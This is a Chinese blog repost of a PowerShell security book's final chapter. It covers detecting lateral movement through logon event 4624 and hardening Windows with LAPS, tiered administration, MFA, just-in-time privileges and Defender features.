一旦攻击者成功入侵了组织内的某个设备,他们会试图获取更多凭证和身份信息,利用这些信息横向移动并入侵整个网络。

为了检测横向移动,组织可以使用 PowerShell 监控远程登录事件日志,特别是事件 ID 4624。该事件 ID 提供了有关成功登录的信息,包括登录类型、进程和身份验证包。例如,要获取过去 7 天内所有登录类型为 3(网络登录)的事件 ID 4624,可以使用以下代码片段:

> Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624; StartTime=(Get-Date).AddDays(-7)} | Where-Object {$_.Properties[8].Value -eq 3}

登录类型 3 表示该登录尝试是通过网络进行的。例如,当用户连接到网络共享或某个计算机上运行的进程访问另一个计算机上的资源时,可能会发生此情况。

通过监控登录类型为 3 的事件,组织可以检测攻击者尝试从被攻破的系统访问网络资源的行为,这可能是网络内横向移动的早期迹象。根据您的网络情况,可以细化此示例并根据需求调整。

请参考第四章检测 – 审计与监控,了解如何利用不同的事件日志来检测恶意活动。

您应遵循以下指南,尽量避免横向移动:

  • 通过使用本地管理员密码解决方案LAPS),强制为工作站和服务器设置唯一密码

  • 为 Active Directory 管理员实施红树林Red Forest),也称为增强安全管理环境Enhanced Security Administrative Environment,ESAE

  • 实施分层模型,并让管理员使用特权访问工作站PAWs)处理管理任务

  • 限制登录并保持适当的凭证管理

  • 尽快安装更新

  • 使用如 BloodHound 或 SharpHound 等工具审计你的身份关系

当然,这不能百分百保证攻击者无法横向移动,但已经涵盖了很多内容,并且会让攻击者忙上一段时间。

提升权限的多因素认证

多因素认证MFA)总是为你的管理员账户增加了另一层安全性。当然,人们可能会被欺骗以允许身份验证,但有了 MFA,攻击者窃取并滥用身份的难度大大增加。

你可以使用很多不同的 MFA 选项。根据你的具体情况,你可以使用以下工具:

  • 智能卡认证

  • Windows Hello

  • OAuth 硬件令牌

  • OAuth 软件令牌

  • Fido2 安全密钥

  • 生物识别技术

  • 短信或语音电话

  • 一个身份验证应用程序(例如 Microsoft Authenticator)

时限性权限(即时管理)

遵循最小权限原则的一个好方法是实施时限性权限,也称为 即时管理。采用这种方法,管理员默认没有任何权限。

一旦他们请求权限提升,系统会将时间戳绑定到他们的权限上。一旦指定时间到期,权限就不再有效。

如果一个账户被攻破,攻击者无法造成任何危害,因为该账户的权限并未由管理员请求。通常,提升请求会伴随 MFA 验证。

此外,特权身份管理PIM)和 特权访问管理PAM)解决方案可用于自动化授予和撤销时限性权限的过程。这些解决方案提供了一个集中平台,用于管理和监控整个组织的特权访问。

它们还可以提供额外的安全措施,例如审批工作流、审计跟踪和会话记录,以确保问责制和合规性。实施 PIM 和 PAM 解决方案可以大大增强时限性权限的安全性,并减少对关键系统和数据的未经授权访问的风险。

攻击检测 – 端点检测与响应

另一个非常重要的点是必须有一个产品来检测攻击并做出反应。市面上有很多优秀的产品可以帮助你完成这项任务。确保你选择的产品也支持 PowerShell,并帮助你检测通过 PowerShell 和其他命令行工具发起的可疑命令。

例如,微软的解决方案称为 Microsoft Defender for Endpoint。但其他厂商也提供类似的解决方案。

启用 Microsoft Defender for Endpoint 的免费功能

即使你没有使用 Microsoft Defender for Endpoint,许多功能也可以免费使用,无需任何订阅:

  • 硬件隔离/应用保护

  • 攻击面缩减规则

  • 受控文件夹访问

  • 可移动存储保护

  • 网络保护

  • 漏洞防护

  • Windows Defender 防火墙与高级安全性

许多这些功能甚至可以在 Microsoft Defender 禁用的情况下使用。了解 ASR 功能,深入了解这些特性:learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/overview-attack-surface-reduction?view=o365-worldwide#configure-attack-surface-reduction-capabilities

总结

本章总结了关于 PowerShell 安全性的内容。它并不旨在提供深入的技术信息,而是为了概述可以采取哪些措施来提高网络安全性。通过这些内容,你可以对接下来的工作有一个清晰的了解,并知道需要查阅哪些资料。

你已获得一些有关安全脚本编写的见解,并了解了可以使用哪些工具来提高脚本的安全性。你还了解了 DSC 以及如何入门。最后,你还了解了如何加强系统的安全性。

希望你喜欢本书,并能充分利用它。祝你脚本编写愉快!

进一步阅读

如果你想深入了解本章提到的一些主题,可以查看以下资源:

LAPS

PSScriptAnalyzer

)

)

安全基准 和 SCT

安全更新

VBS

你还可以在本章的 GitHub 仓库中找到所有提到的链接,第十三章 – 无需手动输入每个链接:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter13/Links.md

posted @ 2025-06-23 19:08  绝不原创的飞龙  阅读(72)  评论(0)    收藏  举报